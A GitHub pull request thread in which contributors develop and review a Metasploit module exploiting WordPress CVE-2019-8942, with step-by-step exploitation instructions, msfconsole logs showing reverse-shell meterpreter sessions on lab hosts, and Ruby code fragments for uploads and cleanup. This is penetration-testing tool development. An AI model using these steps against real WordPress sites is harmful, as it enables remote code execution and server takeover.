Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wordpress cve 2019 8942 #11587

Merged
merged 10 commits into from Apr 4, 2019

Conversation

Projects
None yet
5 participants
@tiyeuse
Copy link
Contributor

tiyeuse commented Mar 19, 2019

On WordPress versions <= 4.9.8 it is possible to gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion.
An attacker who gains access to an account with at least author privileges on the target can execute PHP code on the remote server.

Exploitation Steps

  1. Upload an image containing PHP code
  2. Edit the _wp_attached_file entry from meta_input $_POST array to specify an arbitrary path
  3. Perform the Path Traversal by using the crop-image Wordpress function
  4. Perform the Local File Inclusion by creating a new WordPress post and set _wp_page_template value to the cropped image. The post will include() our image containing PHP code.

When visiting the post created by the attacker it is possible to obtain code execudion

More details can be found on RIPS Technology Blog

Verification Steps

Confirm that functionality works:

  1. Start msfconsole
  2. use exploit/unix/webapp/wp_crop_rce
  3. Set the RHOST
  4. Set USERNAME and PASSWORD
  5. Set LHOST and LPORT
  6. Run the exploit: run
  7. Confirm you have now a meterpreter session

Scenarios

Ubuntu 18.04 running WordPress 4.9.8

msf5 > use exploit/unix/webapp/wp_crop_rce
msf5 exploit(unix/webapp/wp_crop_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(unix/webapp/wp_crop_rce) > set username author
username => author
msf5 exploit(unix/webapp/wp_crop_rce) > set password author
password => author
msf5 exploit(unix/webapp/wp_crop_rce) > run

[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Authenticating with WordPress using author:author...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Checking crop library
[*] Uploading payload
[+] Image uploaded
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38247 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36568) at 2019-03-19 11:33:27 -0400

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux

Comments

During the upload process the function upload_file() change the display of image uploaded resulting into an issue during the upload process for GD library.
The image content (binary) during the upload seems changed. You can find some comments in the code line 127. It might come from my way to upload because my python POC is working fine.

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Mar 19, 2019

I was in the process of creating a module for this particular exploit, but it looks like you beat me to posting the PR! I'd be happy to collaborate if you're interested.

@space-r7 space-r7 self-assigned this Mar 19, 2019

Update modules/exploits/unix/webapp/wp_crop_rce.rb
Co-Authored-By: tiyeuse <39072217+tiyeuse@users.noreply.github.com>
@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 20, 2019

Hello,
Thank you for your help!
I would appreciate some help for the upload part, which block the GD part of the exploit. Do you know why during the upload process the image isn't uploaded without any modification ? I added comments on the exploitation documentation.

Thank you.

Show resolved Hide resolved modules/exploits/unix/webapp/wp_crop_rce.rb Outdated
Show resolved Hide resolved modules/exploits/unix/webapp/wp_crop_rce.rb Outdated
end

def get_wpnonce2(image_id, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php?post='+image_id.to_s+'&action=edit')

This comment has been minimized.

Copy link
@bcoles

bcoles Mar 20, 2019

Contributor

Using vars_get is preferred over appending the query string to the URL.

Show resolved Hide resolved modules/exploits/unix/webapp/wp_crop_rce.rb Outdated

def on_new_session(client)
#sleep 1
client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")

This comment has been minimized.

Copy link
@bcoles

bcoles Mar 20, 2019

Contributor

You should be able to use register_file_for_cleanup rather than manually adding these in on_new_session.

This comment has been minimized.

Copy link
@tiyeuse

tiyeuse Mar 20, 2019

Author Contributor

I used client.shell_command_token in order to use wilcard. When uploading a files multiples file will be created (also a directory) :

image-100x100.jpg
image-150x150.jpg
image-300x225.jpg
image.jpg

By using register_file_for_cleanup I will still need to add some file names ?

This comment has been minimized.

Copy link
@bcoles

bcoles Mar 20, 2019

Contributor

register_file_for_cleanup accepts an argument. There's also register_dir_for_cleanup.

Neither function supports wildcards.

This comment has been minimized.

Copy link
@tiyeuse

tiyeuse Mar 20, 2019

Author Contributor

When I use register_file_for_cleanup I got some warnings. unknown result for deleted files and manual cleanup for files not deleted.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:56928) at 2019-03-20 14:22:48 -0400
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-100x100.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-150x150.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790-100x100.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790-150x150.jpg, unknown result
[!] Tried to delete wp-content/themes/twentyseventeen/cropped-kDlSwlVzGt.jpg, unknown result
[!] This exploit may require manual cleanup of 'wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?/x.jpg' on the target
[!] This exploit may require manual cleanup of 'INXWxbyvtI.php' on the target
[!] This exploit may require manual cleanup of 'wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?' on the target

meterpreter > ls INXWxbyvtI.php
0000/---------  0  fif  1969-12-31 19:18:30 -0500  INXWxbyvtI.php
meterpreter > pwd
/var/www/html
meterpreter > ls wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?
0000/---------  0  fif  1969-12-31 20:08:16 -0500  wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?

Is this supposed to be the normal behavior for unknown result ? I guess because of the ? meterpreter can't delete the file. For the payload on the root ( /var/www/html) I don't know.

This comment has been minimized.

Copy link
@bcoles

bcoles Mar 21, 2019

Contributor

:shrug: did it delete the files tho ?

This comment has been minimized.

Copy link
@tiyeuse

tiyeuse Mar 21, 2019

Author Contributor

unknown result for deleted files and manual cleanup for files not deleted as mentioned earlier 😃

This comment has been minimized.

Copy link
@bcoles

bcoles Mar 21, 2019

Contributor

Yeah the ? might be causing issues. Not sure how that would be handled on Windows systems either.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Mar 20, 2019

Do you know why during the upload process the image isn't uploaded without any modification ?

Is WordPress performing conversion of the image data rather than using the raw image data?

Perhaps the image data contains \x0D which is being dropped from the multipart request?

Perhaps opening the file with mode r rather than rb is causing the data to read incorrectly?

@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 20, 2019

It doesn't come from WordPress, even before the upload request the data is already modified with both methods :

img_data = File.read(path)

or

file = File.open(path, "r(b)")
img_data = file.read

At this point img_data is the same as the image hexdump then the following line change the structure :
data.add_part(img_data, 'image/jpeg', nil, "form-data; name=\"async-upload\"; filename=\"#{img_name}\"")
The first image modification seems to be the 168th byte \x0D moving to the position 139 resulting in a total corruption.
Am I using the wrong way to upload a file ?

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Mar 20, 2019

Am I using the wrong way to upload a file ?

No, but based on your description of the \x0D modification, you'll likely need to construct the multi-part form data differently.

Here's an example:

  #
  # Upload a file to a specified path
  #
  def upload(path, data)
    vprint_status("Writing #{data.length} bytes to #{path}")

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
    post_data  = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"
    post_data << "\r\nreplyuf.htm\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"
    post_data << "\r\nreplyuf.htm\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
    post_data << "\r\n#{path}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
    post_data << "Content-Type: application/octet-stream\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
    post_data << "\r\nUpload File\r\n"
    post_data << "--#{boundary}\r\n"

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('setFileUpload'),
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => post_data)
  end
@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 20, 2019

Thank you for this upload solution, it worked as intended and allow me to simplify the exploit.

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Mar 21, 2019

It's minor, but I think this module should be located in modules/exploits/multi/http instead of its current location since it's a Wordpress exploit.

Also, please add documentation when you get the chance. Here's a template to get you started: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md

Thanks!

@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 21, 2019

Also, please add documentation when you get the chance. Here's a template to get you started: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md

The documentation (minus the comments section) in my first post isn't good ?

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Mar 21, 2019

Also, please add documentation when you get the chance. Here's a template to get you started: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md

The documentation (minus the comments section) in my first post isn't good ?

I think the documentation in your post is great, and the majority of it can be used in your documentation. I would also add that v5.0.0 is vulnerable as well. We normally create a markdown file that gives details on what the module does and how to run it, the vulnerability, installation instructions of the vulnerable software, etc. to give future users more information on the module than what's in the module description.

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Mar 22, 2019

I successfully got a number of meterpreter sessions, but I also received this error a couple of times:

msf5 exploit(multi/http/wp_crop_rce) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Authenticating with WordPress using test:password...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[-] Exploit failed: NoMethodError undefined method `+' for nil:NilClass
[*] Exploit completed, but no session was created.

The calls to scan(/stuff/).flatten.first have the potential to return nil, and in cases in which the return value is being concatenated with a string, the error shown above is being thrown. I'd suggest adding a condition to check and handle the return value in the cases where scan is being used.

Aside from that, the module has worked great for me so far. Thanks for adding the documentation!

space-r7 added some commits Mar 25, 2019

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Mar 25, 2019

I opened a PR that just added a few checks to the calls to scan and modified some spacing and indentation in the module. Please let me know if I can assist in any way!

Merge pull request #1 from space-r7/pr11587_updates
Add checks to scan function and fix some spacing
@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 26, 2019

I opened a PR that just added a few checks to the calls to scan and modified some spacing and indentation in the module. Please let me know if I can assist in any way!

Thank you !

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Mar 26, 2019

Thank you! Do you have sources for where the jpegs used in the module came from? If not, it might be better to use a generated image so there aren't any potential issues with its use.

Aside from that, I have no further suggestions. Thank you!

@space-r7 space-r7 added docs and removed needs-docs labels Mar 26, 2019

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Mar 26, 2019

Thank you! Do you have sources for where the jpegs used in the module came from? If not, it might be better to use a generated image so there aren't any potential issues with its use.

Aside from that, I have no further suggestions. Thank you!

FWIW; you can find an example 1x1 JPG image in the elfinder_php_connector_exiftran_cmd_injection module:

    # Small JPEG file from:
    # https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
    jpeg = %w[
      FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02
      02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05
      06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E
      0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13
      12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01
      01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08
      01 01 00 00 3F 00 D2 CF 20 FF D9
    ]
    jpeg = [jpeg.join].pack('H*')
@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 27, 2019

Thank you! Do you have sources for where the jpegs used in the module came from? If not, it might be better to use a generated image so there aren't any potential issues with its use.

Aside from that, I have no further suggestions. Thank you!

Actually evil.jpg isn't needed anymore, only evilshell.jpg is required. For the source of evilshell.jpg I picked a random jpg on Google Images...

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Mar 27, 2019

Actually evil.jpg isn't needed anymore, only evilshell.jpg is required. For the source of evilshell.jpg I picked a random jpg on Google Images...

Okay, we can get rid of evil.jpg and perhaps switch out evilshell.jpg with what @bcoles suggested. There's also the option of generating the image via Imagemagick. This will generate a white 50 x 50 image:

convert -size 50x50 xc:white image.jpg

If there's a preference for either approach, please let me know. I can get this handled and landed if there are no more suggested changes.

@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 27, 2019

Actually evil.jpg isn't needed anymore, only evilshell.jpg is required. For the source of evilshell.jpg I picked a random jpg on Google Images...

Okay, we can get rid of evil.jpg and perhaps switch out evilshell.jpg with what @bcoles suggested. There's also the option of generating the image via Imagemagick. This will generate a white 50 x 50 image:

convert -size 50x50 xc:white image.jpg

If there's a preference for either approach, please let me know. I can get this handled and landed if there are no more suggested changes.

@bcoles suggestion may work, but the jpeg array will be bigger (I was wondering if that way was better rather than use an image file) and I don't know when I will have time to do this.
Image size doesn't matter that much if we can at least upload it with the payload inside for both cases (Imagick and GD).

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Mar 27, 2019

but the jpeg array will be bigger

Is the contents of the image file important, or does it simply have to be a valid jpeg ?

@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Mar 29, 2019

Is the contents of the image file important, or does it simply have to be a valid jpeg ?

The content is not important, you simply need one payload in exif metadatas for Imagick, and another payload after the Scan Header for GD in the jpeg file.

wilfried
@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Apr 4, 2019

Tested on Wordpress 4.9.8:

msf5 > use exploit/multi/http/wp_crop_rce 
msf5 exploit(multi/http/wp_crop_rce) > set rhosts 192.168.37.165
rhosts => 192.168.37.165
msf5 exploit(multi/http/wp_crop_rce) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/http/wp_crop_rce) > set username wordpress
username => wordpress
msf5 exploit(multi/http/wp_crop_rce) > set password password
password => password
msf5 exploit(multi/http/wp_crop_rce) > set targeturi /wordpress
targeturi => /wordpress
msf5 exploit(multi/http/wp_crop_rce) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Authenticating with WordPress using wordpress:password...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38247 bytes) to 192.168.37.165
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.165:37762) at 2019-04-04 08:31:48 -0500

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.18.0-16-generic #17~18.04.1-Ubuntu SMP Tue Feb 12 13:35:51 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter > 

@space-r7 space-r7 merged commit 3081b13 into rapid7:master Apr 4, 2019

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

space-r7 added a commit that referenced this pull request Apr 4, 2019

msjenkins-r7 added a commit that referenced this pull request Apr 4, 2019

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Apr 4, 2019

Release Notes

The WordPress Crop-image Shell Upload module leverages both a local file inclusion and directory traversal vulnerability in Wordpress v5.0.0 and <= v4.9.8 to gain remote code execution.

@jbelamor

This comment has been minimized.

Copy link

jbelamor commented Apr 8, 2019

Hey guys,

just tested it in wordpress 3.1.2 and it isn't working.
The failure it's in the function upload_file. After doing the request to the endpoint /async-upload.php, it returns the id so it fails when tries to parse the data as a JSON object.

image

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Apr 8, 2019

Hey @jbelamor, could you please open an issue for this? I'll try setting up an environment with that specific version. Thank you!

@space-r7

This comment has been minimized.

Copy link
Contributor

space-r7 commented Apr 8, 2019

I installed Wordress v3.1.2 and received this error after successfully uploading an image: [-] Exploit failed: TypeError no implicit conversion of String into Integer.

The image_id, update_nonce, and filename values need to be checked before using them, as they can return nil as they're doing in this case. It seems that for older versions of Wordpress, we'll need to make additional requests to get the sufficient information for the exploit to work.

@tiyeuse

This comment has been minimized.

Copy link
Contributor Author

tiyeuse commented Apr 9, 2019

Hey @jbelamor I'm not sure but I guess this vulnerability is on WordPress version 3.7 to 5.0 (except 4.9.9).
I have not check if it possible to exploit CVE 2019-8942 on WordPress v3.1.2.

@jbelamor

This comment has been minimized.

Copy link

jbelamor commented Apr 10, 2019

I installed Wordress v3.1.2 and received this error after successfully uploading an image: [-] Exploit failed: TypeError no implicit conversion of String into Integer.

Yes, I got the same problem. I recon that if the discussed vulnerability is also present in this version (as @tiyeuse says) might by exploited with some fixes in the code.
I've started doing some changes to adapt the code, but haven't finished. So I can't confirm whether It's vulnerable or not.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.